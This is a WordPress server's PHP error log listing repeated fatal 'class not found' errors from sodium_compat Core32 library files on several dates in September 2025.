Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[09-Sep-2025 17:58:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[09-Sep-2025 17:58:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-Sep-2025 15:09:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-Sep-2025 15:09:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-Sep-2025 15:09:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Sep-2025 15:09:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Sep-2025 15:09:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Sep-2025 15:09:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-Sep-2025 15:09:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-Sep-2025 15:09:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-Sep-2025 15:09:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-Sep-2025 15:09:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-Sep-2025 15:09:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-Sep-2025 15:09:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-Sep-2025 15:09:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-Sep-2025 15:18:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-Sep-2025 15:18:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-Sep-2025 15:18:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Sep-2025 15:18:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-Sep-2025 15:18:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-Sep-2025 15:18:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-Sep-2025 15:18:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-Sep-2025 15:18:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-Sep-2025 15:18:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-Sep-2025 15:18:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-Sep-2025 15:18:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-Sep-2025 15:18:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-Sep-2025 15:18:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[18-Sep-2025 17:17:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[18-Sep-2025 17:17:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[18-Sep-2025 17:17:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[18-Sep-2025 17:17:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[18-Sep-2025 17:17:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[18-Sep-2025 17:17:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[18-Sep-2025 17:17:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[18-Sep-2025 17:17:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[18-Sep-2025 17:17:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[18-Sep-2025 17:17:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[18-Sep-2025 17:17:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[18-Sep-2025 17:17:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[18-Sep-2025 17:17:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[19-Sep-2025 06:36:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[19-Sep-2025 06:36:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[19-Sep-2025 06:36:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Sep-2025 06:36:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Sep-2025 06:36:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[19-Sep-2025 06:36:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[19-Sep-2025 06:36:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[19-Sep-2025 06:36:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[19-Sep-2025 06:36:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[19-Sep-2025 06:36:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[19-Sep-2025 06:36:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[19-Sep-2025 06:36:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[19-Sep-2025 06:36:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[19-Sep-2025 06:49:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[19-Sep-2025 06:49:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[19-Sep-2025 06:49:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Sep-2025 06:49:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[19-Sep-2025 06:49:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[19-Sep-2025 06:49:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[19-Sep-2025 06:49:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[19-Sep-2025 06:49:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[19-Sep-2025 06:49:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[19-Sep-2025 06:49:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[19-Sep-2025 06:49:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[19-Sep-2025 06:49:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[19-Sep-2025 06:49:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[22-Sep-2025 12:45:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[22-Sep-2025 12:45:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[22-Sep-2025 12:45:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Sep-2025 12:46:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Sep-2025 12:46:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[22-Sep-2025 12:46:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[22-Sep-2025 12:46:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[22-Sep-2025 12:46:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[22-Sep-2025 12:46:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[22-Sep-2025 12:46:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[22-Sep-2025 12:46:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[22-Sep-2025 12:46:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[22-Sep-2025 12:46:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[22-Sep-2025 13:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[22-Sep-2025 13:00:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[22-Sep-2025 13:00:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[22-Sep-2025 13:00:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
